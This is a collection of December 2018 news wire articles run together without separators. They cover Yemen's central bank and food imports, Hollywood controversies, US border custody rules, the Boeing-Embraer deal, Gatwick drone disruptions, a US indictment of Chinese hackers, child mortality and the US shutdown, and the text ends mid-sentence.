authorized for payment. Deputy Governor Shokeib Hobeishy told reporters last week that the total had risen to $340 million, but it was unclear how much had reached companies wanting to import food. "There were a lot of regulations that we needed to complete but we have overcome that," he said at his office in the Aden central bank. A sniper perched on a rooftop across the street to provide security. The rival central bank headquarters in Sanaa, the national capital now controlled by the Houthi group that has been fighting a coalition led by the Saudis for almost four years, did not receive any funds from the Saudi loan. That was to be expected, given the realities of the war. But with the Saudi loan going to Aden, money has been directed away from Houthi-controlled areas in the north where most food imports arrive. Traders who previously did business through the central bank in Sanaa are now scrambling to work through Aden, a switch that has created more hold-ups and payment problems. DIFFICULTIES A senior official at the Aden central bank, who declined to be named, said the bank was having difficulties. "There is confusion at the central bank level ... no one has a clue about the whole landscape," the official said. "This is happening because there is no senior leadership or oversight." Some traders say the Aden office favors government-held areas. Hobeishy denied that, saying there was no question of his bank issuing letters of credit to those doing business in some areas of the country and not others. He also cast doubt on the status of the central bank in Sanaa. "There is no such thing as two central banks in Yemen, there has always been just one bank and we moved to Aden," he said. The government moved the central bank to Aden in 2016, accusing the Houthis of squandering $4 billion of bank reserves on the conflict. The Houthis say the funds were used to finance food and medicine imports. A Houthi spokesman had no immediate comment for this article. The top official at the Sanaa central bank, Mohammed al-Sayani, told Reuters that a regulation issued by the Aden bank in June made it costly and almost impossible for food traders based in Sanaa to benefit from the Saudi loan. The regulation means traders must get letters of credit in Aden and ensure their goods arrive there, he said. "Around 80 percent of these food traders are based in Sanaa," he said. "This is biased and it is a kind of an economic war for political ends. They have all their infrastructure, like silos etc, at the ports in Hodeidah and Salif." TRUCE BRINGS HOPE In a move that could make it easier to bring in food, the two sides agreed at United Nations peace talks last week on a truce and troop withdrawal from the Houthi-held port of Hodeidah. Opening Hodeidah was a vital starting point to get imports flowing, a U.N. official told Reuters. "Then we need to solve the other problems like access, in particular, to currency from the central bank," said Abdessalam Ould Ahmed, the FAO's Assistant Director-General and Regional Representative for Near East and North Africa. Hodeidah handles 70 percent of Yemen's imports of commercial goods and aid. It is a lifeline for 15.9 million people facing severe hunger in the impoverished nation of 30 million. The World Food Programme said the truce should allow access to 51,000 tonnes of its wheat stocks cut off since September due to fighting. One big importer, who declined to be named, said it was not possible to ship new wheat cargoes to Hodeidah and Salif due to lack of payment. The importer was still waiting for over $50 million in foreign currency. A second grain importer had yet to receive about $20 million in foreign currency and had stopped new shipments. "Private traders have to pay for the goods before they are even shipped out, so they are already out of pocket," the second trade source said. RESERVES DWINDLE The United Nations said Yemen needs billions of dollars in external support to avoid another currency collapse. The central bank is struggling to pay public-sector wages as foreign exchange reserves dwindle. It has access to a Federal Reserve account of $200 million while around 87 million pounds are frozen in a Bank of England account. The Bank of England declined to comment. Authorities sought to boost liquidity last year by printing money. Since then the rial has halved in value. The United Nations and the International Monetary Fund are working to reunite the rival central banks. The chairman of Yemen's Gulf of Aden Ports, Mohammed Alawi Amzerbah, said around 85 percent of goods arriving in Aden can make it to Houthi-held areas. But a day later, a celebration at a location two hours from Aden to launch a road to transport goods northwards was canceled for security reasons. Yemen's problems go further than importing food. In Aden's fish market onlookers cheered as a fisherman displayed his catch, a small shark, but customers were scarce. "Before, you could buy that shark for 2,000 rials. Now you need 7,000 rials," said Nasser Bureik Nasser, a fisheries ministry employee. (Additional reporting by Reuters TV, Aziz El Yaakhoubi in Dubai and Mohammed Ghobari in Aden; Editing by Ghaida Ghantous and Giles Elgood) What would Hollywood be without an obligatory bit of controversy beef between cast members, audience outrage or the occasional lawsuit? Presumably, the focus would be firmly on the films themselves and we wouldnt have anything else to say about the actors and directors at all. But we dont live in that utopian fantasy land, so here are some of the biggest movie beefs of 2018. First Man No American flag planted on the moon Ryan Gosling in First Man (Universal) Conservatives were left spitting with rage when director Damien Chazelle decided to leave the American flag planting out of First Man. Depicting Neil Armstrongs (Ryan Gosling) emotional journey to the lunar surface, Chazelle said he didnt want to make a political statement and that the film was more about the astronauts personal saga. That explanation didnt sit well patriots, who argued the movie was anti-American. Wait until they find out Gosling is Canadian. Johnny Depp allegedly punched a crew member Johnn Depp was sued for allegedly punching a crew member on the set of his Notorious BIG film City of Lies Back in July, Johnny Depp was sued for allegedly punching a crew member on the set of Notorious BIG film City of Lies. The court was told that the Crimes of Grindelwald actor punched the individual in the ribs twice, after they tried to wrap filming for the day. The victim claimed that Depp reeked of alcohol and that they were even offered $100,0000 (75,000) to punch him in the face in return. The Predator Olivia Munn isolated over casting of sex offender The Predator lead actress Olivia Munn said she felt isolated after calling for a sex offender to be cut from the film Remarkably, Shane Blacks The Predator managed to make it almost away the way to release without anyone realising that a registered sex offender had been cast in the movie. Black had given a small part to his friend Steven Wilder Striegel, and after the films lead Olivia Munn learned of his conviction, she reported it to 20th Century Fox, who promptly removed his scene. The weirdest part here, however, was how long it took Munns male castmates to support her decision to expose Striegel. They did eventually back her up, but initially the actress said she felt isolated after fighting to have him cut from the film. Story continues Halloween Jamie Lee Curtis accused of hypocrisy over gun control Jamie Lee Curtis returned to the role of Laurie Strode for the 11th instalment of Halloween The curiously angry people at Fox News accused Jamie Lee Curtis of hypocrisy after she was seen using a firearm in Halloweens eleventh instalment. However, the actress had never clarified her stance on gun control, only stating after the controversy that she is for regulating assault riffles, but supports the Second Amendment. Talk about shooting first and asking questions later. The Happytime Murders Sesame Streets failed lawsuit Melissa McCarthy with puppet co-star Phil Phillips (performed by Bill Barretta) in The Happytime Murders (Photo: Hopper Stone / STX Entertainment /Everett Collection) The people behind the Melissa McCarthy-led movie The Happytimes Murders would have been hoping to raise a few eyebrows with their Muppets for adults concept, but they probably didnt expect to get sued over it. The producers of Sesame Street filed a lawsuit against the film after claiming the tagline No Sesame. All street, would lead people to believe that it was supported by the beloved childrens programme. However, they couldnt prove it had confused the general public in court, so they lost the case. Tiffany Haddish says someone bit Beyonces face Tiffany Haddish (Francis Specker/PA) Girls Trip star Tiffany Haddish sent celebrity worshipers into meltdown when she revealed that someone had bitten Beyonce on the face, which is apparently possible. In an interview with The Hollywood Reporter, Haddish revealed how she fell out with actress Sanaa Lathans step-mum and dad, despite never naming their daughter as the culprit. Lathan later laughed off speculation that she was the phantom biter by stating on Twitter that shed be more likely to give Beyonce a love bite. Read more: The biggest box office hits and misses of 2018 The biggest movie poster fails of 2018 The most searched for movies of 2018 Activists demonstrate next to U.S. Border Patrol agents near the U.S.-Mexico border at Imperial beach in San Diego, on Dec. 10, 2018. U.S. Customs and Border Protection issued new guidelines this week requiring its agents to quickly inform CBP leadership, Congress, and the public of the death of people in its custody following intense criticism of the agency's response to the death of a 7-year-old Guatemalan girl who died earlier this month. Jakelin Caal Maquin died on Dec. 7 after crossing the southern border with her father in New Mexico and spending more than 11 hours in CBP custody. But her death did not become public until The Washington Post published a story about her case on Dec. 13. That delay led to sharp criticism from members of Congress, who said the agency had violated rules that require it to inform Congress and others of any deaths within 24 hours. CBP Commissioner Kevin McAleenan cited privacy concerns for the girl's family, and concerns that the death would be politicized, for not disclosing the death earlier, including during an appearance before the Senate Judiciary Committee on Dec. 11. Under the new rules, which were signed by McAleenan and went into effect on Monday, CBP agents must inform the commissioner's office and the consulate of the victim's home country within four hours of any death. The departments of State and Homeland Security must be informed within 12 hours, congressional offices must be informed within 24 hours, and members of media must be told one hour later. Those changes may not be the only result of Maquin's death. The Department of Homeland Security Inspector General's office is conducting an investigation into the medical care she received while in government custody. CBP officials have blamed her father for not alerting them to her worsening medical condition earlier. But the father has disputed that story, saying he had kept her well fed and hydrated, and that she only became ill after being taken into custody. Congressional members have also weighed in. On Tuesday, members of the Congressional Hispanic Caucus toured the two Border Patrol facilities in New Mexico where the girl passed through, expressed outrage over the conditions that migrants must endure while in federal custody. Story continues Rep. Al Green, D-Texas, called conditions inside the Lordsburg (N.M.) Border Patrol Station "unbelievable and unconscionable." And Rep. Ben Ray Lujan, D-N.M., said he got an assurance from McAleenan that he would support a congressional investigation if one was necessary. "It's abundantly clear after today that it is absolutely necessary," Lujan said. This article originally appeared on USA TODAY: Border Patrol issues new rules to quickly notify Congress of any migrant deaths Sao Paulo (AFP) - A Sao Paulo judge on Thursday froze a deal between US planemaker Boeing and Brazilian company Embraer to create a $5.26-billion joint venture at the request of Embraer unions, the state news agency Agencia Brasil reported. It is the second time this month the judge, Victorio Guizio Neto, has suspended the tie-up. Two weeks ago he ordered the accord be put on ice until the next Brazilian government takes over under a far-right president, Jair Bolsonaro, who assumes office on January 1. But that decision was overturned by an appeals court four days later, and Boeing and Embraer issued a joint statement saying they were forging on with their plan, "subject to approval by the government of Brazil." The latest injunction sent Embraer shares into the red in trading Thursday. Embraer, the third-largest aircraft manufacturer in the world, was founded as a state group in 1969 before being privatized in 1994. The Brazilian government retains a "golden share" giving it the right to veto strategic decisions for the company. Under the planned deal, Boeing is to take an 80 percent stake in Embraer's commercial business, thus allowing it to offer planes with capacity of up to 150 seats -- a market in which Boeing currently does not compete. Embraer's military aircraft business was excluded to overcome Brazilian government opposition to giving up a national security asset to a foreign entity. When the two planemakers originally announced their deal in July this year, they said they expected to wrap up the transaction by the end of 2019. Rio de Janeiro (AFP) - Brazil's media scathingly criticized "legal anarchy" in their country Thursday, a day after one judge's order that could have freed imprisoned ex-president Luiz Inacio Lula da Silva was shot down by another judge. Lula, a leftist former leader who ruled 2003 to 2010 but who is now behind bars for graft, saw his hopes raised then dashed in the space of a few hours on Wednesday. A supreme court judge, Marco Aurelio Mello, had issued an order that could have seen all prisoners in Lula's situation -- nonviolent ones who have lost an initial appeal but continued to challenge their convictions -- provisionally released. But as Lula's lawyers scrambled to have the unexpected decision applied, the supreme court's chief justice, Jose Antonio Dias Toffoli, stepped in to suspend Mello's order. Thursday's newspapers headlined the confusion, with some speaking a feud between the judges. An editorial in the O Globo newspaper spoke of a "country in legal anarchy." "This has become routine. Recently the individual wishes of the 11 judges (in the supreme court) have overtaken collective decisions," it read. Analysts speaking to the Folha de Sao Paulo newspaper diverged on whether Mello's decision was well-founded, but all agreed that the furor unleashed "weakens the image of the supreme court." Lula's Workers Party was equally unimpressed. "Unfortunately, because of a series... of infringements on legal process and the constitution, Lula was prevented from leaving prison," said party chief Gleisi Hoffmann. "What we are going through in Brazil is really serious, in terms of instability in our institutions and legal system," she said. Lula's lawyers have appealed against the suspension of Mello's order. The former president started his sentence in April this year and multiple previous other attempts by his lawyers to have him freed pending further appeals have all failed. Fate of Tanahu Hydropower Project uncertain The fate of Tanahu Hydropower Project has become uncertain after Cooperativa Muratori e Cementisti di Ravenna, the Italian contractor appointed to implement the scheme, got into a liquidity crisis. A swath of snow will create slick travel in the eastern Great Lakes on the back side of the same storm system that brought severe thunderstorms to Florida on Thursday and drenching downpours from the Carolinas to New England into Friday. "Unlike some storms at this point of the month, cold air will quickly retreat on this storm's front side," AccuWeather Senior Meteorologist Alex Sosnowski said. Thus, any snow or ice concerns across northern New England into Friday morning are likely to be brief and cause few, if any, problems. "However, as colder air invades the storm on its back side, a wintry mix or even wet snow may fall for a time over a portion of the Midwest," Sosnowski added. The area most likely to have travel delays on Friday will be in northern portions of Lower Michigan, where rain is likely to change over to all snow for a time later Friday morning or Friday afternoon before ending. StormyFriNE Although an inch or two of snow may accumulate on grassy surfaces, travel problems across this area may still be limited, since snow may struggle to stick to sidewalks and roadways with temperatures during the day on Friday hovering near or slightly above freezing. Farther south, rain may briefly mix with snow in a swath from western Kentucky to eastern and northern Indiana, western Ohio and southern portions of Lower Michigan on Friday morning before ending, but no travel problems are anticipated with temperatures well above freezing. No snow accumulation is expected in these regions, either on roadways or grass. "The same snow and wintry mix may shift farther east over portions of the eastern Great Lakes and the western slopes of the Appalachians later Friday to Friday night," said Sosnowski. friday night snow At this time, the highest elevations of West Virginia and west-central Pennsylvania, as well as much of western New York, stand the highest probability of receiving a few to as many as six inches of wet snow Friday night. Story continues Enough snow may fall in Pittsburgh, Pennsylvania; and Buffalo, Rochester and Syracuse, New York; to make some roads, sidewalks and runways slippery. Download the free AccuWeather app to find out how much snow is forecast to fall in your location. With Friday already being one of the busier travel days of the year, even a small coating of snow on roadways or runways can create major travel disruptions and lengthy flight delays. Portions of Interstates 70, 75, 80 and 90 that lie within the threat zone may all be covered in snow at some point on Friday or Friday night. "In the wake of the storm on Saturday, a pocket of chilly air will follow with a brief period of lake-effect snow that may pester locations downwind of the Great Lakes, especially Erie and Ontario," Sosnowski warned. However, the lake-effect snow is not anticipated to be heavy or long-lasting, and dry and seasonably cool conditions are set to return by Saturday night and Sunday. The woman was raped on Palolem beach in Goa as she walked to her guesthouse (Wikipedia/stock photo) A British woman is recovering from her ordeal after she was raped near a popular tourist site in Goa while making her way back to her guesthouse. The 48-year-old victim was walking towards Palolem beach in the town of Canacona, southwestern India, at around 3am when the attack occurred. The rape took place in the same town where 28-year-old Irish backpacker Danielle McLaughlin was raped and murdered in March 2017. According to police, the victim had left her guesthouse to catch a train but began the one-mile walk back when it got delayed. The woman, who has been visiting Goa regularly for the last 10 years, was forced to a nearby paddy field by her attacker, who hit her in the eye before raping her and robbing her of three bags. The victim managed to find shelter with a friend nearby before reporting the incident to police. The attack took place in the same town where Irish backpacker Danielle McLaughli was sexually assaulted and killed last year (Getty) Police inspector Prashal Desai said: She had gone to catch a train from Canacona to Thivim station located in North Goa district. But, as the train got delayed, she decided to return to the place where she was staying near the Palolem beach. She decided to walk back to the guest house which is one mile away from the station. One the way, she was pushed by an unknown person into the bushes and was raped. MORE: Police recover the handbag of woman who died of shock after thieves ransacked her London home MORE: Flying of drones at Gatwick Airport a deliberate act to disrupt flights and ground passengers He first hit her in the eyes, due to which her vision blurred for a few minutes, and then raped her. A search was launched to arrest the culprit and some suspects from the area have been rounded up. We are waiting for the medical report. Vikat Bhagat allegedly confessed to the rape and murder of 28-year-old Ms McLaughlin following the discovery of her body last year. Watch the latest videos from Yahoo UK Two thirds of Brits feel undervalued in their current jobs. Photo: REX/Shutterstock Millions of UK workers are ending 2018 feeling undervalued by their employers, and are increasingly likely to be job-hunting on company time, according to figures released on Wednesday. The second annual Job Satisfaction Index, carried out by online jobs board TotalJobs, surveyed over 15,000 employees winding down for the Christmas break and considering what they hope to achieve in the new year. According to the survey, the majority of workers dont see themselves in their current roles next Christmas, with two-thirds believing they can secure a better employment package elsewhere, even with economic uncertainty and Brexit looming around the corner. This could be down to the same proportion not having had a promotion or pay rise in the last 12 months, even though recent Office for National Statistics (ONS) data shows UK wage growth is at its highest rate in a decade. Two-thirds also said that they dont feel their boss supports their career goals. READ MORE: Five top workplace trends to watch in 2019 Additionally, over half said they received no formal training in 2018, contributing to a sense that they were neither earning nor learning. Perhaps unsurprising, Londoners are the most likely to have received a pay rise or promotion during the year, according to the report. However, those working in the capital dont buck the trend by a massive degree, with only 34% saying theyve secured a better salary or status in the last 12 months. At the other end of the scale, workers in Yorkshire & the Humber were the worst off in 2018, with only a quarter managing to negotiate a pay rise or promotion. Yorkshire & the Humber replaces the north west and Scotland, which drew the short end of the stick in 2017. The research suggests that these frustrations are making workers increasingly likely to explore their options, with over half (55%) admitting to searching for better jobs on company time a 5% increase from last year. READ MORE: Four signs youre in a toxic workplace Story continues Martin Talbot, group marketing director for TotalJobs, said: Our second annual Job Satisfaction Index suggests that 2018 has been another difficult year for the majority of UK employees. Those feeling disenfranchised with their current package will find it increasingly difficult to motivate themselves to carry out their role, and this can pose real challenges for employers. Tablot advised employers who cannot afford to offer financial incentives to find other ways to engage staff and retain their best talent. Recruitment is a cost to any business. As such, savvy employers would be wise to explore every possible avenue when it comes to holding onto their best and brightest, he added. There is a silver lining for those who plan on staying put in the New Year, however. The data indicates a small rise in workers who feel their voice is being heard by senior management, with 31% of workers feeling they have their bosses ear, compared to 29% in 2017. Geneva (AFP) - Former Catalan president Carles Puigdemont said Thursday that he, together with five other separatist leaders being held on rebellion charges in Spain, have filed a UN complaint against Madrid for rights violations. "We are denouncing a serious violation of rights and freedoms in Spain, which is unacceptable under the European Union rule of law," Puigdemont told reporters in Geneva, sitting alongside lawyer Nico Krisch and other members of the Catalan community. His five co-plaintiffs, including Jordi Sanchez, the former head of the influential grassroots ANC independence movement, and Jordi Turull, a former minister in the Catalan regional government, are meanwhile all behind bars in Spain awaiting trial over their roles in Catalonia's failed bid to secede from Spain last year. Thursday's announcement came as several of the plaintiffs ended a weeks-long hunger strike, launched to protest alleged unfair treatment by Spain's justice system. Puigdemont stressed that the complaint was being brought by six people who had been "democratically elected and who have not been convicted" of anything. "Five of them (have been) in pre-trial detention for more than a year, (and) can not exercise their rights," he said. Puigdemont, who settled in Belgium late last year, has also been accused of rebellion by the Spanish judiciary but Madrid withdrew the international arrest warrant it had issued for him last July. - 'Egregious violation' - The complaint filed with the United Nations Human Rights Committee on Tuesday was a "key step" in raising international awareness about the violations and bringing them to an end, he said. Last March, Puigdemont and Jordi Sanchez filed a separate complaint with the UN over being blocked from running to serve as Catalan president but the UN has yet to reach a decision in that matter, Krisch said. Nine Catalan separatists in all are in pre-trial detention awaiting trial before the Supreme Court of Madrid. Story continues Spanish Prime Minister Pedro Sanchez is meanwhile set to hold a cabinet meeting in Barcelona on Friday amid tight security as Catalan pro-independence groups plan to hold protests and block roads in the region. The meeting comes a year to the day after Madrid held snap elections in Catalonia after blocking the wealthy northeastern region's move for independence. Many separatists have called the timing of the meeting "a provocation". Puigdemont stressed Thursday that the separatists had no plans to resort to violence. "From the beginning of this process, we have expressed ourselves clearly and without ambiguity to say that never, never will violence be an option for us," he said. "At the same time, I have tried, and I have failed, I must admit, to obtain the same engagement from the Spanish government." Hundreds of flights have been cancelled at Gatwick Airport The army has been called in after tens of thousands of passengers had their flights disrupted by drones being flown illegally over Gatwick Airport in what police called a deliberate act. The airports runways have been closed since Wednesday night as police try and find the operator of the drone flights. 760 flights have so far been delayed or cancelled with problems expected to last several days. A city banker has been found guilty of murder after he bludgeoned an escort to death with a pestle. Zahid Naseem, 48, struck Christina Abbotts 13 times on the back of the head with the utensil in a prolonged and brutal attack after taking cocaine and drinking champagne. He claimed he had acted in self-defence because he was afraid Ms Abbotts would strangle him to death during a sex game, but was convicted by the jury at Lewes Crown Court. Nearly 600 homeless people in England and Wales died last year, according to official estimates, marking an increase of nearly a quarter over five years. Homeless men and women die on average at the age of 44 nearly half the life expectancy for people in stable housing. It was estimated that last year more than one in 10 homeless deaths were due to suicide, while more than two-fifths were due to drug poisoning or alcohol-related. Cambridge University scientists have developed a robotic hand which can play simple musical phrases on the piano by just moving its wrist. Deputy Attorney General Rod Rosenstein speaks at the Justice Department on Thursday as FBI Director Christopher Wray listens. (Photo: Manuel Balce Ceneta/AP) The U.S. Department of Justice has indicted two Chinese nationals allegedly involved in an international hacking scheme that targeted dozens of companies in the United States and around the world, Deputy Attorney General Rod Rosenstein announced Thursday morning. The hackers targeted companies in at least a dozen countries, including the U.S., Rosenstein said. The global hacking campaign involved using malware to target MSPs managed service providers which are used to store commercial and proprietary data. The indictment follows a growing pattern of charging Chinese individuals for hacking operations, ranging from allegations out of New York that an individual stole information about turbine technology to charges against 10 sources alleged to have conspired to hack U.S. and European defense and aerospace contractors in Ohio in October. The Justice Department will continue its approach of using indictments as forms of attribution and deterrence policy, said John Carlin the former assistant attorney general for the national security division of the DOJ who pioneered the strategy under President Barack Obama recently at an event in Washington, D.C. That strategy remains unchanged under President Trumps administration, the Justice Department says. The departments position remains that Chinese economic espionage is intolerable, and we will use all of our lawful tools to confront and deter it, Marc Raimondi, a department spokesperson, told Yahoo News last month. China wants the fruits of Americas brainpower to harvest the seeds of its desired economic dominance. Preventing this from happening will take all of us here at the Justice Department, across the U.S. government and within the private sector, said John Demers, a senior Justice Department official, said last month, announcing new charges against a Taiwanese company, a Chinese company and multiple individuals for economic espionage. A poster shows two Chinese citizens suspected to be part of the APT 10 Group and carrying out an extensive hacking campaign to steal data from U.S. companies. (Photo: Manuel Balce Ceneta/AP) The strategy of indicting individual hackers, rather than sanctioning adversaries or military units as a whole, has several benefits, says Peter Mattis, a former intelligence official and now a research fellow in China studies at the Victims of Communism Memorial Foundation. Story continues This approach ensures evidence becomes public and tells Beijing that the United States has some visibility into what the governments hackers are doing. It also forces the intelligence community to obtain evidence that can be used in a court of law. The Justice Department is the critical policy agency, the center of gravity in cyber investigations, he told Yahoo News. However, the strategy has potential drawbacks. Some former intelligence officials who have worked in offensive cyber operations told Yahoo News there is concern that condemning foreign officials doing state-sanctioned work puts U.S. citizens doing similar work at risk. And because countries like Russia and China are not likely to extradite their own intelligence officers, the indictments could be viewed as empty threats. The U.S. did succeed in getting a Chinese suspect extradited from Belgium in October, however. Targeting those who occasionally work for Chinese state security services as freelancers may be even more effective, said Dmitri Alperovitch, co-founder of cybersecurity intelligence firm CrowdStrike. Indictments would have a very hard time deterring people working for foreign intelligence services. If our officials in China were indicted, they would not stop their work, he said at an event in Washington last month. But contractors they might think twice. _____ Read more from Yahoo News: By Gene Emery (Reuters Health) - - The odds of a child dying before age 18 are far higher in the U.S. than in other high-income countries, with firearms and motor vehicle accidents accounting for much of the exceptionally high mortality, a new analysis shows. The odds that a child will be killed by a gun is 36 times higher in the U.S. than in other high-income countries. Suicide by firearm makes up more than one third of those gunshot deaths among adolescents. Homicides accounted for nearly two thirds of firearm-related deaths and gun-related accidents another 4 percent, researchers report in The New England Journal of Medicine "Guns are killing more children than cancer," said lead author Dr. Rebecca Cunningham, who directs the Injury Prevention Center at the University of Michigan in Ann Arbor. Motor vehicle crashes are the deadliest category, responsible for 20 percent of child and adolescent deaths. Use of cell phones by young drivers and pedestrians appears to be the chief contributor to the fatality rate in this category that's more than three times higher than in other high-income countries, the researchers found. Cancer caused 9 percent of deaths; suffocation caused 7 percent. Next most common were drowning, drug overdose and poisoning. "Devastated families take no comfort from the fact that childhood deaths are now far less common than they were in centuries past," the Journal's executive editor Dr. Edward Campion writes in an accompanying commentary. It is wrong to refer to these deaths as accidents, he argues. "Car crashes and lethal gunshots are not random results of fate. Both individuals and the larger society need to understand that there is much that can be done to reduce the rate of fatal trauma." The study used data from the U.S. Centers for Disease Control and Prevention for 2016, the most recent year with complete statistics, and from the World Health Organization. Only a few low-to-middle-income countries such as Thailand, Romania and Mongolia had more children dying from motor vehicle crashes per capita than the U.S. While the rate of firearm deaths among kids in the U.S. is 4 per 100,000, in a dozen other high-income countries it averages 0.11 per 100,000, the study found. "For firearm deaths, there's really no comparison," Cunningham said in a telephone interview. "We have substantially more firearm deaths across all the high-, low- and middle-income deaths we examined." And 2017 data released last week show the trend is continuing, she noted. "Firearm injuries continue to go up." "One in three U.S. homes with youth under 18 years of age has a firearm, with 43 percent of homes reporting that the firearm is kept unlocked and loaded, which increases the risk of firearm injuries," the researchers write. The scope of childhood firearm deaths will be news to most people, Cunningham said. "We've invested billions of dollars to decrease motor vehicle crashes from the late 1990s to now. The same with cancer. The public accepts that as something we should be investing in to keep our children safe. But we've invested virtually nothing in firearm-related prevention. We've done virtually no research. Yet we can do things that do not affect our Second Amendment rights at all." Some good news: Cancer deaths dropped 32 percent from 1990 to 2016, drowning deaths declined 46 percent and death from home fires plummeted by nearly 73 percent, probably because fewer people were smoking, more homes had smoke detectors and building codes improved. "We are living in a divisive era in which there are few areas of consensus and agreement. Perhaps one of the few core beliefs that all can agree on is that deaths in childhood and adolescence are tragedies that we must find ways to prevent," Campion writes. "Shouldn't a child in the United States have the same chance to grow up as a child in Germany or Spain or Canada?" SOURCE: https://bit.ly/2A1Dqjk The New England Journal of Medicine, online December 19, 2018. SHANGHAI/HONG KONG (Reuters) - Chinese bike-sharing startup Ofo, backed by Alibaba Group Holding Ltd , is battling "immense" cash flow problems and disbanding the firm has been considered as an option, its chief executive said in a letter to employees. The firm, whose yellow-hued bicycles litter city streets around China, has been hit by a costly battle with main rival Mobike, owned by Meituan Dianping <3690.HK>, that has eroded its ability to make payments to suppliers. In the past week, millions of users, uncertain about Ofo's future, have also applied for a return of the deposits they had paid to use the platform, adding to the firm's financial woes. "The whole of this year we've borne immense cash flow pressures. Returning deposits to users, paying debts to suppliers and keeping operations running," Dai Wei said in the letter posted on social media by Ofo's head of public relations. "It has meant turning every renminbi into three," the CEO said, referring the China's currency. Dai added that he had thought "countless times" about ways to resolve the issues, "even of dissolving the company and applying for bankruptcy". Ofo and Alibaba were not available for comment on Thursday. Dai, also Ofo's founder, added he was determined to keep the company afloat. "As pressures mount we must endure, as difficulties grow we must find ways to overcome them," he said in the letter dated Dec. 19. Ofo, which started in university campuses in Beijing and expanded to countries around the world, has become something of a cautionary tale about the rapid debt-fueled boom and bust of new technology enterprises in the country. China's bike-sharing industry has seen firms burn through hundreds of millions of dollars in the fight to dominate key cities, with several going under or taken over. Ofo's smaller peer, No.1 Bicycle, halted services in February, while Bluegogo, facing financial pressure late last year, ended in a tie-up with ride-hailing giant Didi Chuxing. In August, Reuters reported that Didi and Alibaba's Ant Financial were in talks with Ofo for a joint buyout, potentially valuing the startup at up to $2 billion. (Reporting by Adam Jourdan in Shanghai, Kane Wu in Hong Kong, Supriya Roy in Bengaluru, additional reporting by Pei Li in Beijing; Editing by Anil D'Silva and Himani Sarkar) Prithvi Man Shrestha is a political reporter for The Kathmandu Post, covering the governance-related issues including corruption and irregularities in the government machinery. Before joining The Kathmandu Post in 2009, he worked at nepalnews.com and Rising Nepal primarily covering the issues of political and economic affairs for three years. By Ginger Gibson, Richard Cowan and Steve Holland WASHINGTON (Reuters) - U.S. President Donald Trump on Thursday said border security must be part of legislation to fund the U.S. government, a position that raises the threat of a partial federal shutdown on Saturday. Republicans in the House of Representatives scrambled to amend a Senate-passed bill to appease Trump after he said he would not sign the legislation, clearing the measure for debate. A subsequent vote was possible later on Thursday but it was unclear whether Republicans would be able to pass what Trump wants. "I've made my position very clear. Any measure that funds the government must include border security," Trump said at a White House event. Trump has demanded $5 billion to put toward building a wall on the U.S. border with Mexico that he argues is needed to keep out illegal immigrants and drugs, a down payment on a massive project which Democrats have rejected as ineffective and wasteful. The funding impasse, though dramatic and consequential, was dwarfed by another bombshell announcement: the resignation late on Thursday of Defense Secretary Jim Mattis. Trump's administration has been rocked by a series of resignations of cabinet members and top officials. The uncertainty over a government shutdown weighed on U.S. stocks, which were already sharply lower on the session, with the S&P 500 closing 1.6 percent lower. The partial shutdown would affect agencies including those responsible for federal law enforcement activities, airport security screenings, space exploration and farm programs. Trump, who accused Democrats of playing politics on the issue, has said he sees the border wall as a winning issue for his 2020 re-election campaign. Last week in a White House meeting with Democratic congressional leaders, he said he would be "proud to shut down the government for border security." The Senate bill approved on Wednesday had provided a seven-week extension of existing funds for agencies, punting the funding issue into the next Congress. Were just waiting to see what the House is going to do, said an administration official. Then well figure out what the next steps are. PUSH FROM THE RIGHT Hard-right conservative pundits and lawmakers have urged Trump to push for border wall funding now, even if it leads to a shutdown, arguing that it would be impossible to get once Democrats take control of the House on Jan. 3. "He (Trump) campaigned on the wall," Republican Representative Mark Meadows said. "It was the center of his campaign ... The American people's patience is running out." House Republicans lost 40 seats in Nov. 6 congressional elections. Some members who lost their re-election bids are not in Washington, making it unclear whether the party could pass the funding hike. If it fails, the House may end up voting on the original bill passed by the Senate but panned by Trump. In that scenario, it is unclear how Trump would respond, House Rules Chairman Pete Sessions said. "Were all putting that in the calculator," he said. The amended bill also includes $7.8 billion in aid for states hit by recent natural disasters. House Democratic Leader Nancy Pelosi has said including border wall money in the bill would be a "non-starter" for her members. They were, however, open to the disaster aid, she said. If the government goes into partial shutdown starting on Saturday, it could last until the new Democratic majority takes over in the House. Then it will have enough votes to pass a funding bill to send to the Republican-controlled Senate, leaving it up to Trump to decide whether to veto it. Trump administration officials were looking for ways to build the wall by reassigning money already doled out to U.S. agencies for other projects. The White House has not provided details of that effort but leading Democrats have warned that shifting funds around in such a way would have to be approved by Congress. During his 2016 campaign Trump repeatedly said Mexico would pay for the border wall but never specified how. Last week he said that a new trade deal his administration had negotiated with Mexico and Canada would generate enough savings to be equivalent to Mexico financing the wall. The issue of money for the wall also led to a partial government shutdown during a weekend in January and a second funding gap in February lasted only a few hours. Impact on government services was negligible in both cases. In a 2013 shutdown, conservative Republicans made an unsuccessful effort to use funding bills to repeal President Barack Obama's healthcare law. (Reporting by Richard Cowan, Steve Holland and Ginger Gibson; additional reporting by Lisa Lambert, Susan Heavey, Makini Brice, Mohammad Zargham and Chuck Mikolajczak; Writing by Roberta Rampton; editing by Bill Trott, Howard Goller and Cynthia Osterman) More drones are taking to the skies than ever before - Ola Dusegard (Ola Dusegard (Photographer) - [None] All flights from Gatwick Airport were grounded this morning, and incoming aircraft diverted, after two drones were spotted hovering in the vicinity. Around 10,000 passengers were affected by Gatwick's response to the threat, an unprecedented move which implies that the remote controlled devices present a very serious danger indeed. What would happen if a drone hit a plane? We know that bird strikes can do a surprising amount of damage to an aircraft, especially when they hit an engine - though serious incidents are very rare. Drones, however, present a greater risk. Saj Ahmad, chief analyst at StrategicAero Research, explained: "Any object that hits a plane is a serious event. Obviously, the bigger the object, and depending on the size of aircraft, the consequences can be catastrophic. "It's fair to draw similarities with bird strikes, but the impacts of drones is less clear because some are big, heavy and have combustible electrical components which could cause an uncontained fire if it hit an engine or punctured a fuel tank." The drones caused chaos at Gatwick Airport This year, the University of Dayton Research Institute conducted lab simulations to compare the impact of a drone strike against a bird strike and found the drone to do considerably more damage. To conduct the experiment, the DJI Phantom 2 drone (a popular model among hobbyists) was fired at the wing of a Mooney M20 (a small propeller aircraft) at a speed of 238mph, the approximate closing speed you'd expect with a collision of this kind. Footage of the strike is alarming, with a sizable hole being torn out of the wing. Kevin Poormon, group leader for impact physics at the research institute told AINtv: "The drone did not shatter apart, it completely penetrated and was buried inside the wing, causing substantial damage." A gelatin model was used to mimic the weight and speed of a bird and was fired from the canon in the same way. Although it crushed a portion of the wing's outer casing, it did no internal damage. Story continues Poormon believes the aircraft would have survived the impact of a drone but for a 